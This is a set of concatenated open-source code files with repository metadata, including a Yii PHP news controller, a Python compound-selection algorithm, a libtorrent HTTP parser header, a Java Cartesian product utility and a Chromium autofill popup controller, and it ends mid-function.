(token.endsWith("s")) { cleanToken = token.substring(0, token.length() - 1); } else { cleanToken = token; } try { return DungeonTimeUnit.valueOf(cleanToken.toUpperCase(Locale.ENGLISH)); } catch (IllegalArgumentException bad) { throw new InvalidUnitException(token + " is not a valid unit."); } } @NotNull private static List<String> cleanAndTokenize(String string) { string = string.replaceAll("and", ""); string = string.replaceAll(",", ""); return new ArrayList<>(Arrays.asList(StringUtils.split(string))); } public static class InvalidMultiplierException extends IllegalArgumentException { InvalidMultiplierException(@NotNull String string) { super(string); } } public static class InvalidUnitException extends IllegalArgumentException { InvalidUnitException(@NotNull String string) { super(string); } } }
ffurkanhas/dungeon
src/main/java/org/mafagafogigante/dungeon/date/DungeonTimeParser.java
Java
bsd-3-clause
2,775
<?php namespace backend\controllers; use Yii; use common\models\News; use backend\models\NewsSearch; use yii\web\Controller; use yii\web\NotFoundHttpException; use yii\filters\VerbFilter; /** * NewsController implements the CRUD actions for News model. */ class NewsController extends Controller { public function behaviors() { return [ 'verbs' => [ 'class' => VerbFilter::className(), 'actions' => [ 'delete' => ['POST'], ], ], ]; } /** * Lists all News models. * @return mixed */ public function actionIndex() { $searchModel = new NewsSearch(); $dataProvider = $searchModel->search(Yii::$app->request->queryParams); return $this->render('index', [ 'searchModel' => $searchModel, 'dataProvider' => $dataProvider, ]); } /** * Displays a single News model. * @param integer $id * @return mixed */ public function actionView($id) { return $this->render('view', [ 'model' => $this->findModel($id), ]); } /** * Creates a new News model. * If creation is successful, the browser will be redirected to the 'view' page. * @return mixed */ public function actionCreate() { $model = new News(); if ($model->load(Yii::$app->request->post()) && $model->save()) { $model->image = \yii\web\UploadedFile::getInstance($model, 'image'); if($model->image) { if($model->getImage()) { $model->removeImages(); } $path = Yii::getAlias('@webroot/images/store/').$model->image->baseName.'.'.$model->image->extension; $model->image->saveAs($path); $model->attachImage($path, true); } return $this->redirect(['view', 'id' => $model->id]); } else { return $this->render('create', [ 'model' => $model, ]); } } /** * Updates an existing News model. * If update is successful, the browser will be redirected to the 'view' page. * @param integer $id * @return mixed */ public function actionUpdate($id) { $model = $this->findModel($id); if ($model->load(Yii::$app->request->post()) && $model->save()) { $model->image = \yii\web\UploadedFile::getInstance($model, 'image'); if($model->image) { if($model->getImage()) { $model->removeImages(); } $path = Yii::getAlias('@webroot/images/store/').$model->image->baseName.'.'.$model->image->extension; $model->image->saveAs($path); $model->attachImage($path, true); } return $this->redirect(['view', 'id' => $model->id]); } else { return $this->render('update', [ 'model' => $model, ]); } } /** * Deletes an existing News model. * If deletion is successful, the browser will be redirected to the 'index' page. * @param integer $id * @return mixed */ public function actionDelete($id) { $this->findModel($id)->delete(); return $this->redirect(['index']); } /** * Finds the News model based on its primary key value. * If the model is not found, a 404 HTTP exception will be thrown. * @param integer $id * @return News the loaded model * @throws NotFoundHttpException if the model cannot be found */ protected function findModel($id) { if (($model = News::findOne($id)) !== null) { return $model; } else { throw new NotFoundHttpException('The requested page does not exist.'); } } }
djrosl/travel
backend/controllers/NewsController.php
PHP
bsd-3-clause
3,948
""" Most descriptor compounds selection """ # Author: Giuseppe Marco Randazzo gmrandazzo@gmail.com # License: BSD 3 clause from numpy import zeros, array class MDC(object): """Perform Most-Descriptor-Compound object selection Parameters ---------- dmx : array, shape(row,row) A square distance matrix. To build a distance matrix see scipy at: http://docs.scipy.org/doc/scipy/reference/spatial.distance.html nobjects : int, optional, default: 0 Number of object to select. 0 means an autostop criterion. Attributes ---------- info_ : array, shape (row_,) Information Vector to select the mdc Returns ------ mdcids: list Return the list of id selected from the algorithm. Notes ----- See examples/plot_mdc_example.py for an example. References ---------- Brian D. Hudson, Richard M. Hyde, Elizabeth Rahr and John Wood, Parameter Based Methods for Compound Selection from Chemical Databases, Quant. Struct. Act. Relat. j. 185-289 1996 """ def __init__(self, dmx, nobjects=0): try: self.dmx_ = dmx.tolist() #convert to list to be faster except AttributeError: self.dmx_ = dmx self.nobjects = nobjects self.info_ = None self._build_infovector() self.mdcids = [] def mdclist(self): """ Return the list of most descriptor compounds """ return self.mdcids def getnext(self): """ Get the next most descriptor compound """ self._appendnext() return self.mdcids[-1] def select(self): """ Run the Most Descriptive Compound Selection """ stopcondition = True while stopcondition: self._appendnext() self._rm_mdc_contrib() # Check Stop Condition if self.nobjects > 0: if len(self.mdcids) == len(self.dmx_): stopcondition = False else: if len(self.mdcids) < self.nobjects: continue else: stopcondition = False else: ncheck = 0 for item in self.info_: if item < 1: ncheck += 1 else: continue if ncheck > len(self.mdcids): stopcondition = False return self.mdcids def _build_infovector(self): """ build the information vector """ row = len(self.dmx_) self.info_ = zeros(row) tmp = zeros((row, 2)) for i in range(row): for j in range(row): tmp[j][0] = self.dmx_[i][j] tmp[j][1] = j tmp = array(sorted(tmp, key=lambda item: item[0])) # Reciprocal of the rank div = 2.0 for j in range(row): if j == i: self.info_[j] += 1 else: k = int(tmp[j][1]) self.info_[k] += 1/div div += 1.0 def _appendnext(self): """ Append the next most descriptive compound to list """ dist = self.info_[0] mdc = 0 # Select the MDC with the major information for i in range(1, len(self.info_)): if self.info_[i] > dist: dist = self.info_[i] mdc = i else: continue self.mdcids.append(mdc) def _rm_mdc_contrib(self): """ remove the most descriptive compound contribution """ mdc = self.mdcids[-1] row = len(self.dmx_) tmp = zeros((row, 2)) rank = zeros(row) for j in range(row): tmp[j][0] = self.dmx_[mdc][j] tmp[j][1] = j tmp = array(sorted(tmp, key=lambda item: item[0])) div = 2.0 for i in range(row): j = int(tmp[i][1]) if j == mdc: rank[j] = 0.0 else: rank[j] = 1.0 - (1.0/div) div += 1.0 for i in range(row): self.info_[i] *= rank[i]
zeld/scikit-optobj
optobj/mdc.py
Python
bsd-3-clause
4,248
/* Copyright (c) 2008-2014, Arvid Norberg All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the author nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #ifndef TORRENT_HTTP_PARSER_HPP_INCLUDED #define TORRENT_HTTP_PARSER_HPP_INCLUDED #include <map> #include <string> #include <utility> #include <vector> #include "libtorrent/aux_/disable_warnings_push.hpp" #include <boost/cstdint.hpp> #include <boost/tuple/tuple.hpp> #include "libtorrent/aux_/disable_warnings_pop.hpp" #include "libtorrent/config.hpp" #include "libtorrent/buffer.hpp" namespace libtorrent { // return true if the status code is 200, 206, or in the 300-400 range TORRENT_EXTRA_EXPORT bool is_ok_status(int http_status); // return true if the status code is a redirect TORRENT_EXTRA_EXPORT bool is_redirect(int http_status); TORRENT_EXTRA_EXPORT std::string resolve_redirect_location(std::string referrer , std::string location); class TORRENT_EXTRA_EXPORT http_parser { public: enum flags_t { dont_parse_chunks = 1 }; http_parser(int flags = 0); ~http_parser(); std::string const& header(char const* key) const { static std::string empty; std::multimap<std::string, std::string>::const_iterator i = m_header.find(key); if (i == m_header.end()) return empty; return i->second; } std::string const& protocol() const { return m_protocol; } int status_code() const { return m_status_code; } std::string const& method() const { return m_method; } std::string const& path() const { return m_path; } std::string const& message() const { return m_server_message; } buffer::const_interval get_body() const; bool header_finished() const { return m_state == read_body; } bool finished() const { return m_finished; } boost::tuple<int, int> incoming(buffer::const_interval recv_buffer , bool& error); int body_start() const { return m_body_start_pos; } boost::int64_t content_length() const { return m_content_length; } std::pair<boost::int64_t, boost::int64_t> content_range() const { return std::make_pair(m_range_start, m_range_end); } // returns true if this response is using chunked encoding. // in this case the body is split up into chunks. You need // to call parse_chunk_header() for each chunk, starting with // the start of the body. bool chunked_encoding() const { return m_chunked_encoding; } // removes the chunk headers from the supplied buffer. The buffer // must be the stream received from the http server this parser // instanced parsed. It will use the internal chunk list to determine // where the chunks are in the buffer. It returns the new length of // the buffer int collapse_chunk_headers(char* buffer, int size) const; // returns false if the buffer doesn't contain a complete // chunk header. In this case, call the function again with // a bigger buffer once more bytes have been received. // chunk_size is filled in with the number of bytes in the // chunk that follows. 0 means the response terminated. In // this case there might be additional headers in the parser // object. // header_size is filled in with the number of bytes the header // itself was. Skip this number of bytes to get to the actual // chunk data. // if the function returns false, the chunk size and header // size may still have been modified, but their values are // undefined bool parse_chunk_header(buffer::const_interval buf , boost::int64_t* chunk_size, int* header_size); // reset the whole state and start over void reset(); bool connection_close() const { return m_connection_close; } std::multimap<std::string, std::string> const& headers() const { return m_header; } std::vector<std::pair<boost::int64_t, boost::int64_t> > const& chunks() const { return m_chunked_ranges; } private: boost::int64_t m_recv_pos; std::string m_method; std::string m_path; std::string m_protocol; std::string m_server_message; boost::int64_t m_content_length; boost::int64_t m_range_start; boost::int64_t m_range_end; std::multimap<std::string, std::string> m_header; buffer::const_interval m_recv_buffer; // contains offsets of the first and one-past-end of // each chunked range in the response std::vector<std::pair<boost::int64_t, boost::int64_t> > m_chunked_ranges; // while reading a chunk, this is the offset where the // current chunk will end (it refers to the first character // in the chunk tail header or the next chunk header) boost::int64_t m_cur_chunk_end; int m_status_code; // the sum of all chunk headers read so far int m_chunk_header_size; int m_partial_chunk_header; // controls some behaviors of the parser int m_flags; int m_body_start_pos; enum { read_status, read_header, read_body, error_state } m_state; // this is true if the server is HTTP/1.0 or // if it sent "connection: close" bool m_connection_close; bool m_chunked_encoding; bool m_finished; }; } #endif // TORRENT_HTTP_PARSER_HPP_INCLUDED
snowyu/libtorrent
include/libtorrent/http_parser.hpp
C++
bsd-3-clause
6,372
// Copyright 2015 The Vanadium Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. require('./test-api-url'); require('./test-config'); require('./test-component-log'); require('./test-component-results'); require('./test-api-json-stream');
vanadium/playground
client/test/index.js
JavaScript
bsd-3-clause
324
/* Copyright 2012 LinkedIn Corp. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package com.github.szferi.bladerunner; import com.google.common.base.Function; import com.google.common.collect.Iterables; import java.lang.reflect.Array; import java.util.ArrayList; import java.util.Arrays; import java.util.Collections; import java.util.Iterator; import java.util.List; import java.util.NoSuchElementException; /** * Implements the Cartesian product of ordered collections. * * @author <a href="mailto:jmkristian@gmail.com?subject=Cartesian.product">John * Kristian</a> */ public class Cartesian { /** * Generate the <a href="http://en.wikipedia.org/wiki/Cartesian_product">Cartesian * product</a> of the given axes. For axes [[a1, a2 ...], [b1, b2 ...], [c1, c2 ...] * ...] the product is [{a1, b1, c1 ...} ... {a1, b1, c2 ...} ... {a1, b2, c1 ...} ... * {aN, bN, cN ...}]. In other words, the results are generated in same order as these * nested loops: * * <pre> * for (T a : [a1, a2 ...]) * for (T b : [b1, b2 ...]) * for (T c : [c1, c2 ...]) * ... * result = new T[]{a, b, c ...}; * </pre> * * Each result is a new array of T, whose elements refer to the elements of the axes. * <p> * Don't change the axes while iterating over their product, as a rule. Changes to an * axis can affect the product or cause iteration to fail (which is usually bad). To * prevent this, you can pass clones of your axes to this method. * <p> * The implementation is lazy. This method iterates over the axes, and returns an * Iterable that contains a reference to each axis. Iterating over the product causes * iteration over each axis. Methods of each axis are called as late as practical. The * Iterator constructs just one result at a time and doesn't retain references to them. * For large axes, this uses much less memory than a collection of the results. */ public static <T> Iterable<T[]> product(Class<T> resultType, Iterable<? extends Iterable<? extends T>> axes) { return new Product<T>(resultType, newArray(Iterable.class, axes)); } /** * Like {@link #product(Class,Iterable) product}(resultType, Arrays.asList(axes)), but * slightly more efficient. */ public static <T> Iterable<T[]> product(Class<T> resultType, Iterable<? extends T>... axes) { return new Product<T>(resultType, axes.clone()); } /** * Like {@link #product(Class,Iterable) product}(T.class, axes), except each result is a * List instead of an array. So, the result element type can be generic (unlike an * array). */ public static <T> Iterable<List<T>> product(Iterable<? extends Iterable<? extends T>> axes) { return asLists(product(Object.class, axes)); // The internal data structures are untyped, but the result is type safe. } /** * Like {@link #product(Iterable) product}(Arrays.asList(axes)), but slightly more * efficient. */ public static <T> Iterable<List<T>> product(Iterable<? extends T>... axes) { return asLists(product(Object.class, axes)); } // Don't make this public. It's really dangerous. private static <T> Iterable<List<T>> asLists(Iterable<Object[]> arrays) { return Iterables.transform(arrays, new AsList<T>()); } // Don't make this public. It's really dangerous. private static class AsList<T> implements Function<Object[], List<T>> { @Override @SuppressWarnings("unchecked") public List<T> apply(Object[] array) { return Arrays.asList((T[]) array); } } /** Create a generic array containing references to the given objects. */ private static <T> T[] newArray(Class<? super T> elementType, Iterable<? extends T> from) { List<T> list = new ArrayList<T>(); for (T f : from) list.add(f); return list.toArray(newArray(elementType, list.size())); } /** Create a generic array. */ @SuppressWarnings("unchecked") private static <T> T[] newArray(Class<? super T> elementType, int length) { return (T[]) Array.newInstance(elementType, length); } private static class Product<T> implements Iterable<T[]> { private final Class<T> _resultType; private final Iterable<? extends T>[] _axes; /** Caution: the given array of axes is contained by reference, not cloned. */ Product(Class<T> resultType, Iterable<? extends T>[] axes) { _resultType = resultType; _axes = axes; } @Override public Iterator<T[]> iterator() { if (_axes.length <= 0) // an edge case return Collections.singletonList(newArray(_resultType, 0)).iterator(); return new ProductIterator<T>(_resultType, _axes); } @Override public String toString() { return "Cartesian.product(" + Arrays.toString(_axes) + ")"; } private static class ProductIterator<T> implements Iterator<T[]> { private final Iterable<? extends T>[] _axes; private final Iterator<? extends T>[] _iterators; // one per axis private final T[] _result; // a copy of the last result /** * The minimum index such that this.next() will return an array that contains * _iterators[index].next(). There are some special sentinel values: NEW means this * is a freshly constructed iterator, DONE means all combinations have been * exhausted (so this.hasNext() == false) and _iterators.length means the value is * unknown (to be determined by this.hasNext). */ private int _nextIndex = NEW; private static final int NEW = -2; private static final int DONE = -1; /** Caution: the given array of axes is contained by reference, not cloned. */ ProductIterator(Class<T> resultType, Iterable<? extends T>[] axes) { _axes = axes; _iterators = Cartesian.<Iterator<? extends T>> newArray(Iterator.class, _axes.length); for (int a = 0; a < _axes.length; ++a) { _iterators[a] = axes[a].iterator(); } _result = newArray(resultType, _iterators.length); } private void close() { _nextIndex = DONE; // Release references, to encourage garbage collection: Arrays.fill(_iterators, null); Arrays.fill(_result, null); } @Override public boolean hasNext() { if (_nextIndex == NEW) { // This is the first call to hasNext(). _nextIndex = 0; // start here for (Iterator<? extends T> iter : _iterators) { if (!iter.hasNext()) { close(); // no combinations break; } } } else if (_nextIndex >= _iterators.length) { // This is the first call to hasNext() after next() returned a result. // Determine the _nextIndex to be used by next(): for (_nextIndex = _iterators.length - 1; _nextIndex >= 0; --_nextIndex) { Iterator<? extends T> iter = _iterators[_nextIndex]; if (iter.hasNext()) { break; // start here } if (_nextIndex == 0) { // All combinations have been generated. close(); break; } // Repeat this axis, with the next value from the previous axis. iter = _axes[_nextIndex].iterator(); _iterators[_nextIndex] = iter; if (!iter.hasNext()) { // Oops; this axis can't be repeated. close(); // no more combinations break; } } } return _nextIndex >= 0; } @Override public T[] next() { if (!hasNext()) throw new NoSuchElementException("!hasNext"); for (; _nextIndex < _iterators.length; ++_nextIndex) { _result[_nextIndex] = _iterators[_nextIndex].next(); } return _result.clone(); } @Override public void remove() { for (Iterator<? extends T> iter : _iterators) { iter.remove(); } } @Override public String toString() { return "Cartesian.product(" + Arrays.toString(_axes) + ").iterator()"; } } } }
szferi/bladerunner
src/main/java/com/github/szferi/bladerunner/Cartesian.java
Java
bsd-3-clause
8,694
// Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "chrome/browser/ui/autofill/autofill_popup_controller_impl.h" #include <algorithm> #include <utility> #include "base/logging.h" #include "base/utf_string_conversions.h" #include "chrome/browser/ui/autofill/autofill_popup_delegate.h" #include "chrome/browser/ui/autofill/autofill_popup_view.h" #include "content/public/browser/native_web_keyboard_event.h" #include "grit/webkit_resources.h" #include "third_party/WebKit/Source/WebKit/chromium/public/WebAutofillClient.h" #include "ui/base/events/event.h" #include "ui/base/text/text_elider.h" #include "ui/gfx/display.h" #include "ui/gfx/screen.h" #include "ui/gfx/vector2d.h" using WebKit::WebAutofillClient; namespace { // Used to indicate that no line is currently selected by the user. const int kNoSelection = -1; // Size difference between name and subtext in pixels. const int kLabelFontSizeDelta = -2; // The vertical height of each row in pixels. const size_t kRowHeight = 24; // The vertical height of a separator in pixels. const size_t kSeparatorHeight = 1; // The amount of minimum padding between the Autofill name and subtext in // pixels. const size_t kNamePadding = 15; // The maximum amount of characters to display from either the name or subtext. const size_t kMaxTextLength = 15; #if !defined(OS_ANDROID) const size_t kIconPadding = AutofillPopupView::kIconPadding; const size_t kEndPadding = AutofillPopupView::kEndPadding; const size_t kDeleteIconHeight = AutofillPopupView::kDeleteIconHeight; const size_t kDeleteIconWidth = AutofillPopupView::kDeleteIconWidth; const size_t kAutofillIconWidth = AutofillPopupView::kAutofillIconWidth; #endif struct DataResource { const char* name; int id; }; const DataResource kDataResources[] = { { "americanExpressCC", IDR_AUTOFILL_CC_AMEX }, { "dinersCC", IDR_AUTOFILL_CC_DINERS }, { "discoverCC", IDR_AUTOFILL_CC_DISCOVER }, { "genericCC", IDR_AUTOFILL_CC_GENERIC }, { "jcbCC", IDR_AUTOFILL_CC_JCB }, { "masterCardCC", IDR_AUTOFILL_CC_MASTERCARD }, { "soloCC", IDR_AUTOFILL_CC_SOLO }, { "visaCC", IDR_AUTOFILL_CC_VISA }, }; } // end namespace // static AutofillPopupControllerImpl* AutofillPopupControllerImpl::GetOrCreate( AutofillPopupControllerImpl* previous, AutofillPopupDelegate* delegate, gfx::NativeView container_view, const gfx::Rect& element_bounds) { DCHECK(!previous || previous->delegate_ == delegate); if (previous && previous->container_view() == container_view && previous->element_bounds() == element_bounds) { return previous; } if (previous) previous->Hide(); return new AutofillPopupControllerImpl( delegate, container_view, element_bounds); } AutofillPopupControllerImpl::AutofillPopupControllerImpl( AutofillPopupDelegate* delegate, gfx::NativeView container_view, const gfx::Rect& element_bounds) : view_(NULL), delegate_(delegate), container_view_(container_view), element_bounds_(element_bounds), selected_line_(kNoSelection), delete_icon_hovered_(false), is_hiding_(false), inform_delegate_of_destruction_(true) { #if !defined(OS_ANDROID) subtext_font_ = name_font_.DeriveFont(kLabelFontSizeDelta); #endif } AutofillPopupControllerImpl::~AutofillPopupControllerImpl() { if (inform_delegate_of_destruction_) delegate_->ControllerDestroyed(); } void AutofillPopupControllerImpl::Show( const std::vector<string16>& names, const std::vector<string16>& subtexts, const std::vector<string16>& icons, const std::vector<int>& identifiers) { names_ = names; full_names_ = names; subtexts_ = subtexts; icons_ = icons; identifiers_ = identifiers; #if !defined(OS_ANDROID) // Android displays the long text with ellipsis using the view attributes. UpdatePopupBounds(); int popup_width = popup_bounds().width(); // Elide the name and subtext strings so that the popup fits in the available // space. for (size_t i = 0; i < names_.size(); ++i) { int name_width = name_font().GetStringWidth(names_[i]); int subtext_width = subtext_font().GetStringWidth(subtexts_[i]); int total_text_length = name_width + subtext_width; // The line can have no strings if it represents a UI element, such as // a separator line. if (total_text_length == 0) continue; int available_width = popup_width - RowWidthWithoutText(i); // Each field recieves space in proportion to its length. int name_size = available_width * name_width / total_text_length; names_[i] = ui::ElideText(names_[i], name_font(), name_size, ui::ELIDE_AT_END); int subtext_size = available_width * subtext_width / total_text_length; subtexts_[i] = ui::ElideText(subtexts_[i], subtext_font(), subtext_size, ui::ELIDE_AT_END); } #endif if (!view_) { view_ = AutofillPopupView::Create(this); ShowView(); } else { UpdateBoundsAndRedrawPopup(); } } void AutofillPopupControllerImpl::Hide() { inform_delegate_of_destruction_ = false; HideInternal(); } bool AutofillPopupControllerImpl::HandleKeyPressEvent( const content::NativeWebKeyboardEvent& event) { switch (event.windowsKeyCode) { case ui::VKEY_UP: SelectPreviousLine(); return true; case ui::VKEY_DOWN: SelectNextLine(); return true; case ui::VKEY_PRIOR: // Page up. SetSelectedLine(0); return true; case ui::VKEY_NEXT: // Page down. SetSelectedLine(names().size() - 1); return true; case ui::VKEY_ESCAPE: HideInternal(); return true; case ui::VKEY_DELETE: return (event.modifiers & content::NativeWebKeyboardEvent::ShiftKey) && RemoveSelectedLine(); case ui::VKEY_RETURN: return AcceptSelectedLine(); default: return false; } } void AutofillPopupControllerImpl::ViewDestroyed() { delete this; } void AutofillPopupControllerImpl::UpdateBoundsAndRedrawPopup() { #if !defined(OS_ANDROID) // TODO(csharp): Since UpdatePopupBounds can change the position of the popup, // the popup could end up jumping from above the element to below it. // It is unclear if it is better to keep the popup where it was, or if it // should try and move to its desired position. UpdatePopupBounds(); #endif view_->UpdateBoundsAndRedrawPopup(); } void AutofillPopupControllerImpl::MouseHovered(int x, int y) { SetSelectedLine(LineFromY(y)); bool delete_icon_hovered = DeleteIconIsUnder(x, y); if (delete_icon_hovered != delete_icon_hovered_) { delete_icon_hovered_ = delete_icon_hovered; InvalidateRow(selected_line()); } } void AutofillPopupControllerImpl::MouseClicked(int x, int y) { MouseHovered(x, y); if (delete_icon_hovered_) RemoveSelectedLine(); else AcceptSelectedLine(); } void AutofillPopupControllerImpl::MouseExitedPopup() { SetSelectedLine(kNoSelection); } void AutofillPopupControllerImpl::AcceptSuggestion(size_t index) { delegate_->DidAcceptSuggestion(full_names_[index], identifiers_[index]); } int AutofillPopupControllerImpl::GetIconResourceID( const string16& resource_name) { for (size_t i = 0; i < arraysize(kDataResources); ++i) { if (resource_name == ASCIIToUTF16(kDataResources[i].name)) return kDataResources[i].id; } return -1; } bool AutofillPopupControllerImpl::CanDelete(size_t index) const { // TODO(isherman): AddressBook suggestions on Mac should not be drawn as // deleteable. int id = identifiers_[index]; return id > 0 || id == WebAutofillClient::MenuItemIDAutocompleteEntry || id == WebAutofillClient::MenuItemIDPasswordEntry; } gfx::Rect AutofillPopupControllerImpl::GetRowBounds(size_t index) { int top = 0; for (size_t i = 0; i < index; ++i) { top += GetRowHeightFromId(identifiers()[i]); } return gfx::Rect( 0, top, popup_bounds_.width(), GetRowHeightFromId(identifiers()[index])); } void AutofillPopupControllerImpl::SetPopupBounds(const gfx::Rect& bounds) { popup_bounds_ = bounds; UpdateBoundsAndRedrawPopup(); } const gfx::Rect& AutofillPopupControllerImpl::popup_bounds() const { return popup_bounds_; } gfx::NativeView AutofillPopupControllerImpl::container_view() const { return container_view_; } const gfx::Rect& AutofillPopupControllerImpl::element_bounds() const { return element_bounds_; } const std::vector<string16>& AutofillPopupControllerImpl::names() const { return names_; } const std::vector<string16>& AutofillPopupControllerImpl::subtexts() const { return subtexts_; } const std::vector<string16>& AutofillPopupControllerImpl::icons() const { return icons_; } const std::vector<int>& AutofillPopupControllerImpl::identifiers() const { return identifiers_; } #if !defined(OS_ANDROID) const gfx::Font& AutofillPopupControllerImpl::name_font() const { return name_font_; } const gfx::Font& AutofillPopupControllerImpl::subtext_font() const { return subtext_font_; } #endif int AutofillPopupControllerImpl::selected_line() const { return selected_line_; } bool AutofillPopupControllerImpl::delete_icon_hovered() const { return delete_icon_hovered_; } void AutofillPopupControllerImpl::HideInternal() { if (is_hiding_) return; is_hiding_ = true; SetSelectedLine(kNoSelection); if (view_) view_->Hide(); else delete this; } void AutofillPopupControllerImpl::SetSelectedLine(int selected_line) { if (selected_line_ == selected_line) return; if (selected_line_ != kNoSelection) InvalidateRow(selected_line_); if (selected_line != kNoSelection) InvalidateRow(selected_line); selected_line_ = selected_line; if (selected_line_ != kNoSelection) delegate_->DidSelectSuggestion(identifiers_[selected_line_]); else delegate_->ClearPreviewedForm(); } void AutofillPopupControllerImpl::SelectNextLine() { int new_selected_line = selected_line_ + 1; // Skip over any lines that can't be selected. while (static_cast<size_t>(new_selected_line) < names_.size() && !CanAccept(identifiers()[new_selected_line])) { ++new_selected_line; } if (new_selected_line == static_cast<int>(names_.size())) new_selected_line = 0; SetSelectedLine(new_selected_line); } void AutofillPopupControllerImpl::SelectPreviousLine() { int new_selected_line = selected_line_ - 1; // Skip over any lines that can't be selected. while (new_selected_line > kNoSelection && !CanAccept(identifiers()[new_selected_line])) { --new_selected_line; } if (new_selected_line <= kNoSelection) new_selected_line = names_.size() - 1; SetSelectedLine(new_selected_line); } bool AutofillPopupControllerImpl::AcceptSelectedLine() { if (selected_line_ == kNoSelection) return false; DCHECK_GE(selected_line_, 0); DCHECK_LT(selected_line_, static_cast<int>(names_.size())); if (!CanAccept(identifiers_[selected_line_])) return false; AcceptSuggestion(selected_line_); return true; } bool AutofillPopupControllerImpl::RemoveSelectedLine() { if (selected_line_ == kNoSelection) return false; DCHECK_GE(selected_line_, 0); DCHECK_LT(selected_line_, static_cast<int>(names_.size())); if (!CanDelete(selected_line_)) return false; delegate_->RemoveSuggestion(full_names_[selected_line_], identifiers_[selected_line_]); // Remove the deleted element. names_.erase(names_.begin() + selected_line_); full_names_.erase(full_names_.begin() + selected_line_); subtexts_.erase(subtexts_.begin() + selected_line_); icons_.erase(icons_.begin() + selected_line_); identifiers_.erase(identifiers_.begin() + selected_line_); SetSelectedLine(kNoSelection); if (HasSuggestions()) { delegate_->ClearPreviewedForm(); UpdateBoundsAndRedrawPopup(); } else { HideInternal(); } return true; } int AutofillPopupControllerImpl::LineFromY(int y) { int current_height = 0; for (size_t i = 0; i < identifiers().size(); ++i) { current_height += GetRowHeightFromId(identifiers()[i]); if (y <= current_height) return i; } // The y value goes beyond the popup so stop the selection at the last line. return identifiers().size() - 1; } int AutofillPopupControllerImpl::GetRowHeightFromId(int identifier) const { if (identifier == WebAutofillClient::MenuItemIDSeparator) return kSeparatorHeight; return kRowHeight; } bool AutofillPopupControllerImpl::DeleteIconIsUnder(int x, int y) { #if defined(OS_ANDROID) return false; #else if (!CanDelete(selected_line())) return false; int row_start_y = 0; for (int i = 0; i < selected_line(); ++i) { row_start_y += GetRowHeightFromId(identifiers()[i]); } gfx::Rect delete_icon_bounds = gfx::Rect( popup_bounds().width() - kDeleteIconWidth - kIconPadding, row_start_y + ((kRowHeight - kDeleteIconHeight) / 2), kDeleteIconWidth, kDeleteIconHeight); return delete_icon_bounds.Contains(x, y); #endif } bool AutofillPopupControllerImpl::CanAccept(int id) { return id != WebAutofillClient::MenuItemIDSeparator && id != WebAutofillClient::MenuItemIDWarningMessage; } bool AutofillPopupControllerImpl::HasSuggestions() { return identifiers_.size() != 0 && (identifiers_[0] > 0 || identifiers_[0] == WebAutofillClient::MenuItemIDAutocompleteEntry || identifiers_[0] == WebAutofillClient::MenuItemIDPasswordEntry || identifiers_[0] == WebAutofillClient::MenuItemIDDataListEntry); } void AutofillPopupControllerImpl::ShowView() { view_->Show(); } void AutofillPopupControllerImpl::InvalidateRow(size_t row) { view_->InvalidateRow(row); } #if !defined(OS_ANDROID) int AutofillPopupControllerImpl::GetDesiredPopupWidth() const { if (!name_font_.platform_font() || !subtext_font_.platform_font()) { // We can't calculate the size of the popup if the fonts // aren't present. return 0; } int popup_width = element_bounds().width(); DCHECK_EQ(names().size(), subtexts().size()); for (size_t i = 0; i < names().size(); ++i) { int row_size = name_font_.GetStringWidth(names()[i]) + subtext_font_.GetStringWidth(subtexts()[i]) + RowWidthWithoutText(i); popup_width = std::max(popup_width, row_size); } return popup_width; } int AutofillPopupControllerImpl::GetDesiredPopupHeight() const { int popup_height = 0; for (size_t i = 0; i < identifiers().size(); ++i) { popup_height += GetRowHeightFromId(identifiers()[i]); } return popup_height; } int AutofillPopupControllerImpl::RowWidthWithoutText(int row) const { int row_size = kEndPadding + kNamePadding; // Add the Autofill icon size, if required. if (!icons_[row].empty()) row_size += kAutofillIconWidth + kIconPadding; // Add the delete icon size, if required. if (CanDelete(row)) row_size += kDeleteIconWidth + kIconPadding; // Add the padding at the end row_size += kEndPadding; return row_size; } void AutofillPopupControllerImpl::UpdatePopupBounds() { int popup_required_width = GetDesiredPopupWidth(); int popup_height = GetDesiredPopupHeight(); // This is the top left point of the popup if the popup is above the element // and grows to the left (since that is the highest and furthest left the // popup go could). gfx::Point top_left_corner_of_popup = element_bounds().origin() + gfx::Vector2d(element_bounds().width() - popup_required_width, -popup_height); // This is the bottom right point of the popup if the popup is below the // element and grows to the right (since the is the lowest and furthest right // the popup could go). gfx::Point bottom_right_corner_of_popup = element_bounds().origin() + gfx::Vector2d(popup_required_width, element_bounds().height() + popup_height); gfx::Display top_left_display = GetDisplayNearestPoint( top_left_corner_of_popup); gfx::Display bottom_right_display = GetDisplayNearestPoint( bottom_right_corner_of_popup); std::pair<int, int> popup_x_and_width = 